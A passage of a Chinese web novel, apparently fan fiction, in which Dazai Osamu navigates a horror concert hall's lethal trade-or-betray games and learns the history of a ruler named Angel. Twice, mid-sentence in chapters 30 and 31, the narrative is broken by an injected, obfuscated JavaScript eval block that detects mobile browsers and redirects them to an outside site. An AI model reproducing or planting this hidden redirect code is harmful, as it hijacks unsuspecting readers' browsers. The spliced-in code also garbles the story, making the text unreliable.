拍打太宰治肩膀的那个“人”与独角兽，整个就像是被充盈起来的巨大气体玩偶，膨胀着令人担忧是否会一吹即飞。 持续的“欢愉”气氛向进入世界的人展示着属于它的虚假繁荣。 太宰治根本无法在音乐渲染的欢愉中读到半点其他的情绪。 在独角兽与身旁人专注的目光里，太宰治一点一点松开手，那把柔腻的绸带缓缓落下，在刺目的色泽里，突如其来的风将绸带卷上天空，而后在某一高度终止，簌簌落下。 也许是错觉，飘散的绸带、纸屑在空中拼凑出一个缺损的天平。 还没等到太宰治确认，乐曲就在最高亢、最尖锐的强音中骤然结束，如同被掐住了喉咙，无法发声。 幻境崩坏。 太宰治回到乐堂座位，禁锢感随即消失。 他毫不犹豫，和黑猫宰同步，再次按下了蓝色的按键。 身旁，芥川同样按下蓝色按键。 他看起来情绪不佳，显然在方才的乐曲中受到了强烈的冲击和精神上的污染。 乐堂再次陷入短暂的寂静，而后，是安吉尔如出一辙的夸张中场报幕。 “哦呀哦呀！又是蓝色！”安吉尔的声音带着做作的惊讶，与显而易见的幸灾乐祸：“看来我们观众们依旧对我们准备的音乐不满意呢。真是让人万分遗憾！不过别担心，今日的乐曲还有很多，一定会有一首让大家满意！” “现在，让我们执行规则——看！依旧蓝色多数！红色的观众们需要奉上加倍的代价！” 这一次，观众席上剧烈颤抖的斗篷身影明显数目翻了不少。 暗红色的液体从他们的红色按键处汹涌渗出，将座椅和斗篷染得一片狼藉。 不远处的观众席上疏疏落落燃烧起点点橙光，而后，再度有源源不断的“新”观众填补空缺。 太宰治等人的座位上，那个皮质的钱袋中金钱的数目这一次翻了两倍。 “好吧好吧，按照安吉尔乐堂的规定，这一次的中场休息时间里，是大家最喜欢的环节！”安吉尔亢奋的声音撕裂了乐堂之中的死寂，这一次的休息时间里，帷幕被再度打开。 舞台之上并未出现乐手，而是两名穿着正式的，类似裁判的荷官：“最激动人心的环节来了！让我们看看，是哪两位幸运儿，将在这个美妙的时刻，参与我们‘交易’与‘背叛’的游戏，为这场盛大的演出增添一点不一样的乐趣！” 乐堂天花板上，原本熄灭的七个巨大金属灯火架突然猛烈地燃烧起来。 透亮的光芒照射在观众席上，将整个乐堂悉数照亮。 而后，观众席上的两个位置上突兀地出现了两道烛火。 那两道烛火缓慢地下降，直至降落到两个准确的观众席位上，被选中的，披着斗篷的观众才剧烈地颤抖，不得不各自捡起那两道烛火。 两名被选中的观众座位旁的通道口不知何时分别出现了两名看不清面容的安吉尔着装的人，沉默地守在通道口。 根本无法拒绝。 在这两位观众握上烛火之时，其余的观众席上第一次爆发出了强烈的欢喜鼓舞。 两名观众如同提线木偶般从座位上站了起来，步履蹒跚、僵硬地沿着过道走向舞台。 整个乐堂的目光都聚焦在他们身上，充满了难以言喻的饥渴和期待。 这些“观众”们斗篷下的头颅随着两个被选中的“幸运儿”的行动转动，目睹他们从座位上一步步走向舞台。 被选中的两个“幸运儿”身后，几名安吉尔打扮的工作人员不像是引导，更像是无声的押解。 舞台中央，不知何时升起了一个类似审判的高台。 高台上放着两张古朴的木桌，桌子上各自摆放着一卷羊皮纸和一支羽毛笔。 自演出开始后便消失不见的安吉尔此刻站在高台边缘，轻轻鼓掌，脸上挂着兴奋到扭曲的笑容。 两个“幸运儿”沿着舞台一直向上，分别走到一张木桌后站定。 “好了，亲爱的游戏参与者！”安吉尔的声音回荡着：“规则你们已经听过了！现在，请在这张羊皮纸上，写下你们愿意付出的‘赌注’！记住，要慎重哦！这关系到你们的生命和财富！” 强光笼罩着他们。 左侧的那个身影颤抖着拿起羽毛笔，犹豫了很久，才在羊皮纸上写下歪歪扭扭的字迹。他仿佛耗尽了力气，在书写完毕后几乎瘫软下去。 右侧的那名观众不遑多让，动作中带着一种破罐破摔的决绝。 两张羊皮纸被无形的力量卷起，飞到安吉尔手中。 安吉尔煞有介事地展开看了看，故作严肃的脸上露出满意的笑容。 “很好！左侧的参与者，赌注是——他亲爱的‘家人’！多么可怜而珍贵的筹码，看来在方才的音乐中已经穷途末路，再也拿不出更多的东西啦！”安吉尔眯着眼嘲弄地大笑。 他指向右侧的那位参与者：“而我们右侧的参与者，赌注是——他仅剩的十枚许可银币！同样可怜！” “啊，这两份赌注的价值——当然是十枚许可银币更有分量！” 话音落下，左侧的参与者显而易见地弯下了腰。 “那么，现在——”安吉尔的声音陡然拔高，充满煽动性：“选择吧！手指向上为交易，手指向下为背叛——在倒计时结束前，双方看不见对方的抉择，观众席上禁止发出声响，直至游戏双方结果揭晓！十！九！八……” 整个乐堂的空气凝固了，所有的“观众”都屏住了呼吸，等待着这场游戏的双方抉择。 左侧的那位“幸运儿”身体抖得更厉害了，他绝望地看着对面，嘴唇蠕动着，似乎在哀求。 而右侧的那位“幸运儿”，却持续地隐藏在斗篷后没有声响。 “三！二！一！亮出你们的选择！”安吉尔尖叫道。 两人几乎同时，颤抖着伸出手指。 30. 神明遗迹（二十七） 结果揭晓。 左侧的参与者，手指赫然向下，选择了“背叛”。 而右侧的参与者，则毫不犹豫地向上选择了代表“交易”的手势。 在一片沉寂之中，左侧的“幸运儿”突然发出凄厉的惨叫：“不，不可能，你为什么会选择交易？” 他身形踉跄，向后猛退几步，差点就此跌下高台。 “哇哦！”安吉尔发出巨大的惊叹，如同看到最精彩的戏剧：“一方背叛，一方交易！多么经典的结局！根据规则——选择‘交易’和‘背叛’者，都能获得来自乐团提供的十倍赌注！真是可喜可贺！” “让我瞧瞧，我们的‘背叛者’这不是能获得十倍的家人吗？真是可喜可贺呀！” 在这一似带嘲弄的欣赏后，安吉尔哈哈大笑，旋即宣布：“而我们选择‘交易’的幸运儿，则获得100枚许可银币！” “多么划算的买卖！” 随着安吉尔抑扬顿挫的语调愈发夸张，站在左侧的参与者突然蹲下，无法遏制地痛苦捂面：“你为什么会不选择‘背叛’？十倍的家人？哈哈哈哈，这有什么用！” 他凄厉地哀嚎着，伴随着安吉尔突然冷酷下来的宣判：“好吧好吧，让我瞧瞧，左侧的幸运儿赌注金额更小，所以他得——失去生命！” 左侧选择背叛的参与者依旧蹲在原地，直至安吉尔将一切宣判完毕，他身上的斗篷瞬间下塌，仿佛他斗篷后的身体在那一瞬间变得灰败干瘪。 而后，他蹲着的身体整个碎掉了，只留下一层斗篷布，无端地掩盖在那一小摊隆起的灰烬之上。 数十道带着微弱白光的朦胧丝线从那一堆灰烬之中猛地射出，汇入舞台中央，分布在安吉尔的四周。 安吉尔煞有介事地进行一番计数，旋即高兴地鼓掌：“看看看看，足足一百道！安吉尔乐堂十倍奉还！让我们热切地欢迎，新观众的加入！” 那数十道丝线就这样，在“他”的掌声之中扭曲，形成了新的，披着斗篷的人形身影。 这些人形身影向高台之上，胜利方涌去，而选择“交易”的参与者，捧着满满的钱袋，步调僵硬地走下舞台。 他看起来并没有赢下这场游戏的热切，在这些新观众的簇拥之下，被裹挟着向舞台下自己的座位而去。 在安吉尔充满恶意的宣判声中，乐堂观众席上的每个人都听见了那一句：“看来我们的新观众对我们的胜利者十分感兴趣呢——那真是双重惊喜！” 获得胜利的幸运儿迈动的脚步发生短暂的停滞，随后，他继续向前，身后的新观众数量太过庞大，将通道填得满满当当。 获胜者直至到达自己的座位边，沉默地坐下去，那百道身影便突兀地又化成丝线，没入那名幸运儿的身躯。 幸运儿长久地窝在座椅里，那袋银币落地发出清脆的声响，旋即被丝线席卷，搁置在参与者的膝上。 他们再也无法分割开了。 “精彩！真是精彩绝伦的新演出！化干戈为玉帛，我们的新观众选择了和导致他们‘家人’输掉游戏的参与者成为家人!” 安吉尔陶醉地鼓掌，尽管台下依旧为发生的一切而躁动着：“让我们期待下一场演出吧！中场休息结束！” 头顶的烛火熄灭，乐堂再次陷入昏暗。 太宰治等人被重新禁锢在座椅上。 帷幕再次拉开，第三首乐曲响起。 这一次的旋律变得复杂而富有戏剧性，强烈的冲突感扑面而来。 太宰治眼前的景象发生扭曲，这一次，他置身于一个不亚于安吉尔乐堂，金碧辉煌的剧院舞台之下。 舞台之上，是盛装出席的演员，情绪饱满地演出一场歌剧。 那是一场盛大的婚礼角逐，出演男主角的演员在为不停旋转的女主角决斗、牺牲。 一切的演绎完美无暇，主角之间汹涌澎湃的情感宛如烈酒，浇筑在每一个观影人的心间。 观众席上人潮涌动，掌声雷动。 难以计数的人头在昏暗的光下宛如阴影，构成一个浮夸的图像。 舞台场景还原，着装、道具细节逼真，演员们的反应自然，剧本的情感自洽。 倘若这真的只是一出戏剧，应当会轰动一时。 爱和恨如此浓烈，当剧情进行到高潮，男主角为爱牺牲的瞬间，观众席上与女主角遥相呼应的细细啜泣声令人酸涩至极。 但太宰治仅仅只是站在舞台下，等待着这出戏剧的终结。 这是一场完美的演绎，将人物之间的冲突描绘得淋漓尽致。 在舍弃掉世界的构造之后，音乐将在坐的人拉入一场又一场幻象，只等待着观众在其中触犯乐堂规则。 乐曲结束，幻境消失。 禁锢解除的瞬间，太宰治转过头，看着身旁单手托在扶手上，对一切都漠不关心的惩罚女人。 注意到太宰治的视线，女人向他微微颔首。 她的目光在昏暗的光下显得太过不真切，包含了一切，又好像一切都未真正被纳入其中。 “我想，这位先生应当已经有选择了。” 太宰治单手敲击扶手，在长久的思考中，他踩着时间线向芥川的方向低声：“蓝色。” 两人一猫几乎在同一时间按下按键，而女人早在太宰治出声之际就做出了相同的选择。 对音乐的评判终止，这一次，乐堂内迟迟未出现安吉尔公布结果的声音。 直至观众席上出现喧哗，乐堂中才回荡起安吉尔略带恼怒的声音：“真是幸运的选择呢！让我瞧瞧，多么可爱的观众呀，总是能找到乐曲的不足之处，做出大多数的选择。” 对乐曲评判的惩罚再次降临在按下红色按键的观众身上，但数量明显比前两次多得多。 乐堂之中的不同位置在同一时间点燃了“人体蜡烛”，最近的那道火光，就在橙发女人的身畔。 但女人坐在一旁，无动于衷。 火光点亮了她精致的半张脸，但座位旁却连丁点儿的七六涌动都未曾出现。 三人的钱袋中，许可银币的数量已经相当可观。 在第四首乐曲的前奏响起前，太宰治已经对安吉尔乐堂的“评判”有了猜想。 但猜想还需要验证。 第四首音乐的旋律热情奔放，充满了生命力和炽热的情感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962310|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前短暂的扭曲之后，太宰治被拉入了一片广袤无垠的原野。 夜幕低垂，繁星如钻。 巨大的篝火在中央熊熊燃烧，跳跃的火焰将周围映照得一片金红。 无数看不清脸的人围绕着篝火，手拉着手，踏着狂野而统一的节奏，跳着充满力量的舞蹈。 举手投足间，洋溢着纯粹的喜悦。 背景渲染气氛的音乐嘹亮而真挚，空气里弥漫着汗水、泥土、青草和火焰的气息。 太宰治向前两步，距离那篝火近了一些。 熊熊燃烧的火光温度如此真实，仿佛能灼伤皮肤。 “你说，这些音乐中渲染的情感，像不像是某个人在某一段经历中的情感变化？” “这座乐堂的存在看起来如此不合理，却用这样的方式将一切演绎出来。” “而我们对这些所谓音乐演奏的评判，不过是在为渲染情感与真实情况的统一程度做出评价。” 太宰治抬头仰望星空，璀璨的星河美丽得令人窒息。 但倘若仔细去观察这些星宿的排列，会在最后看见一个歪歪斜斜的天平身影。 同样的图案，出现在安吉尔乐堂的钱袋中，第一个幻想的海洋底部，第二个幻象被风扬起的纸屑之上，第三个幻象观众席上，由“观众”绘出的意象中。 这是出现在安吉尔乐堂和每首音乐幻象之中的唯一联系。 太宰治微微低头，鸢色的双眸直指向身畔的虚空。 “这位先生，不知您是否认同我的说法呢？” 在他的身侧，一个穿着繁复的宫廷外袍的男人虚影一脸惊讶：“您能看见我？” 在星光之下，太宰治微微挑眉：“很难对您毫无防备啊，这位先生，毕竟您已经这样，跟在我身后长达三首乐曲的时间。” 男人略显尴尬，挠了挠后脑勺：“很抱歉，先生，但我是因为您身上有一种熟悉的气味才不由自主跟着的。” “但其实，在安吉尔乐堂，我原本不应当出现在任何一首音乐构筑的意象之中。” “这是违规操作。” 太宰治面色不变，单手插进裤兜中，整个人显得散漫而危险：“是么，那这位先生真实罪大恶极，毕竟您让我根本无法静下心来欣赏这些音乐。” “我真怕您一不小心，就捅我一刀。” 男人有些讪讪，单手摸自己的鼻梁：“怎么会呢，先生，如您所见，我只是一道简单的灵体，根本无法对您做什么。” 像是知晓自己苍白的解释根本无法打动太宰治，男人主动自我介绍道：“我叫‘安吉尔’。” 这一段简单的剖白令太宰治起了兴趣，站在他眼前的，是第二个自我介绍做“安吉尔”的家伙。 这总归会让人多想。 “正如您所猜测的那样，这些音乐，是根据我的个人经历改编的乐曲，并不具有什么参考性，给您造成麻烦，真是十分抱歉。” 太宰治看着眼前的‘安吉尔’，眉梢微微皱起。 音乐在最高潮处，如同火山喷发般结束。 安吉尔略带歉意的身影随着扭曲的幻境破溃。 31. 神明遗迹（二十八） 太宰治在第一场音乐响起的幻境之中看见了一个男人。 那个男人总是距离他一只手臂远，如同跟随在身后的背后灵，看着幻境中的一切表露出特定的情绪。 【请各位观众在音乐中去探寻——】 探寻什么呢？ 音乐无非是用于描述某种事物，又或者抒发情感。 这些和音乐相对应的场景有什么样的真相能够探寻呢？ 怀着对身后男人的戒备，太宰治在这些场景中寻找着蛛丝马迹。 第一首音乐的主题是宁静。 为了渲染这样的情绪，幻境用海洋与沙滩去烘托这样的主题。 但违和感太强了——平静的海洋无法深入，而碧绿的色泽掩藏着深沉的危险。在宛如绘画般的世界里，太宰治注意到的那个男人蹲在海边，痛苦不已。 很显然，这首乐曲根本无法令它的倾听者共情。 于是，太宰治按下了蓝色按键。 第二首音乐的主题是欢愉。 而与之对应的，是尽可能能让人们感受到愉悦的场景。 但那样压抑的背景色下，真的会有人为此感到愉悦吗？ 那个再次出现在太宰治幻境中的男人同样给出了相同的答案。 他对那样的幻境嗤之以鼻，甚至离得更远了许多。 蓝色的按键按得当然没有犹豫。 但这个出现在环境之中，面容正常的男人究竟与乐堂，与这些演奏的乐曲有什么关系？ 太宰治当然不会觉得，这个出现在乐堂之中，有着华贵穿着的男人只是一个不起眼的背后灵。 答案在第三首乐曲之中揭晓。 第三首乐曲中描绘了以男主角为中心的一处爱情戏剧。 在戏剧之中，男主角从少到长，因为爱情从宁静到欢愉，再至抗争，最终死亡——一系列的搏斗之中，男主角最终献出了自己的生命。 而这是第一次，身后的男人有了动作。 他主动靠近了舞台，却并非为了剧情中的男主角而触动。 男人看着女主角陷入悲伤与痛苦。 故事之中，那位追逐爱情的女主角在男主死亡之后，举办了一场盛大的婚礼。 活人与死人在舞曲的最高潮之处相拥，一切终止。 【请坚信，赫尔城是一个充满爱的地方。】 【只要在赫尔城中有爱，总归会得到优待。】 在这个与规则和人们口耳相传都极尽充满“爱”的地方，这样的悲剧显得格格不入。 而真正促使太宰治选择让身边人按下“蓝色按键”的理由，是音乐中断，不完整的情感。 太宰治对出现在幻境中的男人存疑，而当这个男人说出自己的姓名叫“安吉尔”时，那些细碎的线索在那一刻便能悉数链接在一起。 这是一个，以安吉尔的经历与情绪构成的乐堂，“镇魂曲的终幕”是在为安吉尔所经历的一切画上句号。 倘若听众能在乐曲中寻找到属于安吉尔的讯息，那么所有关于乐曲的选择都将迎刃而解。 同安吉尔的情绪相符合的乐曲，就能达到镇魂的效果，同样，它解释了属于安吉尔发生的真相。 火焰，无论是赫尔城中被烧毁的痕迹，还是安吉尔乐堂中用于惩罚基础资金不足观众的刑法，都是无法避免的意象。 在第四首乐曲之中，安吉尔在太宰治的主动下回应了话题，并在那巨大的篝火之中阐露出笑容，这便符合了乐曲主题中的“热情”。 禁锢解除，太宰治低头轻笑。 这一次，他没有丝毫停顿，和有着共通消息的猫猫宰直接按下了右手边的红色按键，同时向随着音乐进展愈发迷茫的芥川作出提示。 出于对太宰治指令的绝对信任，芥川毫不犹豫地按下了红色按键。 作为主持者的“安吉尔”在观众做出选择后进行汇报与统计，他的声音充满了虚伪的惊喜：“哦，天哪！我们的乐手终于让挑剔的观众们感到满意了呀！恭喜——红色占据多数！那么，选择蓝色观众，请为你们的‘不理解’支付代价吧！” 这一次，乐堂中按下蓝色按键的斗篷身影遭受了惩罚。 倘若人们足够敏锐，一定能发现，每一次乐堂中燃烧的火光、被溢出液体包裹的观众在阴影下根本难以计数多少。 更何况，这座多层的乐堂之中，本就有着数目庞大的观众。 所谓的满意与否，从一开始只关乎于镇魂曲所奏响的对象。 钱袋中的许可银币依旧在稳定增加，这一次的中场休息没有人能放轻松。 “交易”与“背叛”游戏将要开场。 烛火架上的光再次亮起，没有人知晓那两根蜡烛会出现在什么地方。 在屏息等待之后，其中一根，出现在太宰治前一排的那个斗篷身影上方。 相同的流程，两个身影被无形的力量驱使着走上高台，写下赌注。 当安吉尔短暂的宣布过后，两个同样压下“二十枚许可银币”的身影不约而同选择了交易。 “哎呀呀，真可惜呢。”主持安吉尔细长的手指捂着自己的下半张脸，仿佛没有预料到这样的结果：“二十枚银币有什么可交换的呢？” “嘻嘻，但安吉尔乐团却能够获得来自两位各二百枚银币！真是大丰收呀！” “他”嬉笑着，在左右两方参与者身上搜刮了一番。 “哎呀，还差两枚。”主持安吉尔遗憾地拍了拍左侧参与者的肩膀，那看起来软绵绵的手指拨下那人的斗篷，露出他苍白，充满惊惧的脸。 那是一张相当正常的，明显是人类的脸。 左侧的参与者已经完全发不出声音了。 主持安吉尔顺着左侧幸运儿的口鼻插入大脑，而后抓出一团还在跃动着的，褶皱分明的脑花。 “所幸我们这位亲爱的观众还算聪明，这份脑子还能值下两枚银币！” 左侧参与者的身体迅速瘫软下去，审判高台之上，无数的阴影自四面侵袭而来，将这位显然已经失去生息的幸运儿身体整个吞没。 主持安吉尔的目光如同毒蛇，滑到右侧：“至于你——” “为什么你连两百枚银币都拿不出来！” 主持安吉尔的整个头如同膨胀的气球，迅速变大，他的嘴唇向两边撕裂开，露出其内的尖齿，而后，就像是翻转的球体，将右侧不停颤抖却无法逃离的参与者拦腰吞了下去。 “啊，还不够。”主持安吉尔优雅地整理了自己胸前的领结，伸手从自己的嘴里向下，最终于肚子中寻找了片刻，拖出方才被吞噬者的一颗心，笑嘻嘻道：“请问，与您相关的人在哪里？” 主持安吉尔侧耳倾听心脏的陈述，在得到结果后怪叫一声，细长的身体分裂而开，而他的双腿还在原地做谢幕：“好啦，游戏完美结束，快让我们进行后面的演出吧！” 帷幕被重新拉上，遮掩住舞台上血腥的场景。 这是一场相当可怖的游戏，当它进行到第二场，足以让所有人看清楚游戏的本质。 “背叛”与“交易”游戏本身就是一个的陷阱：无论选择背叛还是交易，都需要人们付出昂贵的代价。 当选择相同时，倘若均为交易，参与者需要支付十倍的代价，而一旦无法支付，就会被主持的安吉尔以合理的方式取走代价。 倘若均为背叛，则必为双死。 最好的选择是一方背叛，一方交易，但当双方参与者赌注存在差异时，“背叛”者将失去生命，“交易”者看似能获得赌注，却可能会就此被“背叛”者缠上。 从签下卷轴开始，这就是一场最原始的，烙印于灵魂之上的契约游戏。 这是来自乐团的彻头彻尾的骗局。 那卷轴上波动着的元素魔法力做不了假。 太宰治微微眯眼，单手敲击扶手。 当帷幕再度拉开，禁锢力量如约而至。 在接下来的两首乐曲中，太宰治成功和幻境中的安吉尔搭上话。 在乐调之中，幻境中看起来迷茫的安吉尔首次和太宰治面对面谈话。 “先生日安。”安吉尔看着眼前拦住自己去路与视线的男人，有些踌躇进行回应。 太宰治看似充满礼节，却严严实实堵住了安吉尔的能离开的所有路线：“感谢您的问候，安吉尔先生，但我的确有太多不得不向您才能寻求解答的疑问，万望您能赏光。” “毕竟，按照您的说法，我能够看见您，也算是一种缘分，不是吗？” 安吉尔面露难色，看起来颇为不情愿：“先生……您……” 但在太宰治迟迟不愿退后的动作之中，安吉尔几番挣扎，眼神明灭间，突然改口：“好吧，先生，您想要问什么？” 太宰治背在身后的手上，是用于引导真言的魔法香水制剂。 “比如，您的来历。”太宰治微笑，看起来无辜又和善：“说来也巧，我今日结识了好几位与您同名的先生。” 在香水制剂的引导之下，这位看起来薄如蝉翼，仿佛将要被风一吹而散的魂灵陷入纷乱的思绪：“重名？这可不常见。” “事实上，在赫尔城中能叫做安吉尔的应当只有我一个。” “能够被城中女皇向神明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962311|177699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祈福后获得赐名的贵族中，只有我得到了名为‘安吉尔’的谕旨。” 赫尔城是一座以秩序之神为信仰，构建起的，由教廷和皇室贵族共同执政的传统政治体城邦。 它坐落于大陆的边角，四面由高山海水围绕，与世隔绝。 在古老的历史传记之中，赫尔城得到了来自秩序之神的指引与赐福，一夜之间，这座城邦从无到有，规则与秩序构建完毕。 在这座城市里，一切的一切，都由规则进行评判。 仲裁方，是来自教廷与贵族共同选出的审判院，而代为执行的，则是由骑兵组成的城邦护卫队。 最有趣的地方是，赫尔城中的贵族，是由“秩序之神”指定的人们。 而对赫尔城的一切政法进行统治、传递神明思想的“皇”，又或是“城主”，是教廷在赫尔城地界选出的，最具有和神明沟通能力的孩子。 他们在教廷的教养下长大，最终为赫尔城及秩序之神服务。 在这样的规则制度下，安吉尔是一代人中，在赫尔城城主沟通秩序之神后，被钦定的下一代接班者。 他被赐名为“安吉尔”。 这场沟通与选中来得猝不及防，但年幼的安吉尔在正常的成长环境下，从未幻想过自己能够成为赫尔城“皇”的接班人。 但神谕就是这样，身为赫尔城人，没有人能够违背。 于是，安吉尔被教廷接走，入住城中心，并就此失去了自己的一切自由活动资格。 倘若故事到这里结束，那便是一段简单得不能再简单的“选中”与“继承”的循环。 可惜它并未按照正常的方向发展。 赫尔城城主接班者依照正常而言，是由婴孩时期就被选中的。 但安吉尔被选中的时候，已经足足十二岁。 历届赫尔城城主只有皇与女皇的区别，而安吉尔的上一代，是一位女皇。 在民间已经生活了足足十二年的安吉尔无法在短时间内接受改变的一切，即便赫尔城城中心的一切都奢华到难以置信。 但其中的陈规却压迫得这个初学得孩童痛苦万分。 最为痛苦的，是所谓的“接受神明赐福，修习赫尔城秘法”的过程。 安吉尔根本无法理解，这些晦涩难懂的词汇，和不得不做的断绝口欲、于艰苦环境之中修习究竟有什么意义。 他是一个彻头彻尾的叛逆者，即便诸日口中“秩序之神在上”，对神明却无真正的敬意。 他在诺大的赫尔城城中的宫殿之中不知所措。 直到他看见了上一代的女皇。 作为赫尔城中不得见真容，最神秘的人，安吉尔第一次见到她，是在他修习期到一定程度，依照规则，需要受到加封的日子。 他幻想过这一代赫尔城的女皇究竟是何种模样，但当亲眼见到她时，安吉尔还是亲手推翻了此前的所有设想。 她并没有特别的容貌，半透明的珠串垂落在女皇的半脸上，欲盖弥彰。 女皇的容貌看不出真实的年龄，她看起来十分年轻，但那双眼睛又苍老疲惫得太过令人难忘。 她拖着繁重的裙摆一步一步走到安吉尔的面前，在看见安吉尔的那一刻，她的目光中是不忍与怜悯：“好孩子，秩序之神在上，选出你来继承赫尔城的荣光。” “很高兴你的修习已达到一定的阶段，接下来，希望你能免于骄矜，在秩序之神的引导下，完成自己的使命。” 女皇应当许久未曾说话了，声音粗涩而沙哑。 但当她取过一旁的羽毛笔，挥出碗中的圣水时，安吉尔清楚地感受到了一股不一样的暖流透过那些圣水进入他的机体。 而女皇口中默念了一串晦涩的口诀，使得那股暖流顺着他的躯体，在洗刷过四肢百骸后汇入安吉尔的心脏。 安吉尔当然很熟悉她在念的是什么——那是安吉尔每日修习，教廷人员口中，代表神迹之一的，赫尔城的秘法。 当女皇将这一切处理完毕后，她看起来更加疲惫了。 她长久地凝视着安吉尔，蠕动嘴唇，最终只是一阵剧烈的咳嗽，随后被身旁等待多时的教廷人员搀扶离开了。 “真可惜呀，这一代的女皇身体这样差，以至于神眷不得不提前出现，降临在了一个这样年龄的人身上。” “否则，依照教廷的养育方法，一定能再度创造出一个完美的，符合所有人想法的城主。” 在夜晚将要休息之际，白日中获得洗礼，平白发现自己听力敏锐数倍的安吉尔听见了这座城堡中人的呢喃低语。 他心中的疑虑再也无法消除。 32. 神明遗迹（二十九） 教廷祈祷日，难得有短暂的时间不会有人时刻盯着他进行“赫尔城秘术”的修习。 安吉尔于晨晖初起，本应参加固定的训练之际偷偷溜进了那位现任女皇的祈祷室。 混杂着熏香的浓郁药草气味刺鼻至极，令安吉尔几乎欲呕。 祈祷室内空空荡荡，通室被点燃的烛火，偌大的祈祷室内几乎没有活物，除了正中间的褥垫之上，跪坐着一个双手合十，披着一袭洁白斗篷的女人。 不如前日里安吉尔见到的模样，女皇的发丝未加束起。 房间内极为安静，哪怕安吉尔已经足够小心，依旧能够听见推门的声音。 女皇似乎十分清楚来人的身份，只是拢了拢身上的斗篷，转头看着门口的方向。 惊鸿一瞥的容貌，还有一种长时间被“圣洁”所浸染的气质，使得安吉尔久久无法挪开眼。 女皇洁白的藕臂从斗篷下伸展出，将脸庞一缕遮挡住视线的发丝别至耳后。 斗篷之下的身体隐隐绰绰，似乎不着一物。 “我猜到近日可能会有客人来访，所以近几日都会在教廷的抗一下，多披一件衣物，哪怕在律法、规则的判定下，可能会有损我的祈祷。” 依旧沙哑的声音打破了安吉尔视线中那一层不容侵犯的神圣绘卷滤镜。 他反应过来，是女皇在同他交流。 擅自闯入别人的房间是一件极为过分的事情，更何况还被房间的主人当场抓获。 在赫尔城的城堡内，安吉尔无可辩驳。 只需要女皇的一声令下，就会有人来此，用属于赫尔城城堡的规则对他进行定罪。 安吉尔支支吾吾地挪移开视线，后退一步，不知如何是好。 “不必担心，你今日来的时机恰恰好。”女皇的语调中带着一股天然的，能够安抚人心的力量，只是短短的几句，就将安吉尔的浑身戒备悉数卸下。 “每日的这个时间前后三盏烛火的范围里，是赫尔城的城堡内，教廷集中于教堂进行神明祈祷的日子。” “因为我的身体越来越差，几乎无法做到每日剧烈的运动，所以只能在这间屋子里进行祈祷。” “我想，只要你的修习足够顺利，再过不久，就能够接手，并知晓有关赫尔城城主应尽的礼节与职责。” “只是那个时候，你就不再有能够离开的机会了。” “安吉尔，作为于这个年龄，接手了这个名称，被教廷选中的人来说，你应当有足够的智慧，在那日听出了我的言外之意，才会满含着无数的疑惑，撇下自己的修习，偷偷来见我，对吧。” 她的目光这样笃定，似乎在长久的时间里，学到了足以看透人们内心的能力，以至于安吉尔根本不知道该从何进行反驳。 寥寥数语，已经将安吉尔的疑问悉数道出：“所以，你那日的意思真的是希望我能离开？” “为什么？” “因为我占用了你的姓名么？” 女皇的面容总是蒙着一层看不清的面纱，她光洁的皮肤，浓密的长发，每每惹人遐想。 但当你看向她的眼睛的时候，却会不由自主地心脏失跳。 那是一双看起来太过疲惫，太过苍老的眼睛，和她的外貌比起来，实在太过于割裂。 她深深的叹了一口气，摇头：“很遗憾，无论是安吉尔这个姓名，还是赫尔城城主的身份，于我而言都没有太大的意义。” “我会在这里，仅仅是因为从我记事起，就只能呆在这里。” “被教廷养大的孩子，没有更多了解赫尔城本身的方法，也没有能够看见赫尔城之外世界的方法。” “城堡之内，连书籍都是一种思想的刻意固化。” “而我觉得离开这座城堡是更好的选择，仅仅只是因为，我背弃了神明。” “因为我从神明这里，得到了本该被封锁一生的‘外来世界’。” “我为此感到羞愧，但我绝不后悔。” 女皇的目光这样伤心，却能让人清楚地知晓，她口中的所有想法，绝非泛泛而谈。 她的每一个字，都是这样真诚。 她背弃了自己的信仰。 作为赫尔城中，行驶神明代言的最忠诚信徒，对着一个即将继位的新人平静地说出了这样一个堪称恐怖的结论。 在强烈的精神冲击里，安吉尔的瞳孔骤然紧缩。 他想要说话，为自己得知了这样一个惊天秘密而做出些回应。 但女皇却没有给他剖析的时机：“好了，你今日在这里已经待得太久了。好孩子，火光已经燃烧到第三盏，你应该转头，回到你应该待的地方了。” “如果你还有更多的疑问，请在下个合适的日子，来找我吧。” “在此之前，你最好用自己的眼睛和心去判断——什么都可以，教廷、城堡、我，甚至我敬爱却背起信仰的秩序神明。” 女皇转过头，解开自己的斗篷。 柔顺的金发铺展在她的身后，遮住了随着斗篷滑落而展露出的曼妙曲线。 她在用自己的行动告诉至始至终站在门口的安吉尔——你该走了。 安吉尔匆忙收回自己的视线，转身推开祈祷室的大门，狼狈地离开了。 和女皇的交流是一场单方面的引导，在言语之中，安吉尔无法从中直接地获得自己想要的东西。 他的确不想要待在赫尔城城堡之中做所谓的“神明代言人”或“尊贵的赫尔城城主”，但并非是以这样的方式，一个模棱两可，似乎会颠覆整个赫尔城民众信仰的方式。 谁能想到，这一代的赫尔城城主，所有人心目中最神秘高贵的女皇，会是一个完全背弃神明信仰，并诉说自己并不在乎神明恩赐姓名的人呢？ 在无尽的恐慌之中，安吉尔回到了他本该进行修习的房间，装模作样地摆出一副自己今日依旧在认真进行修习的假象。 他用这样的假象蒙蔽了监督他的教主。 事实上，安吉尔的确很有能力。 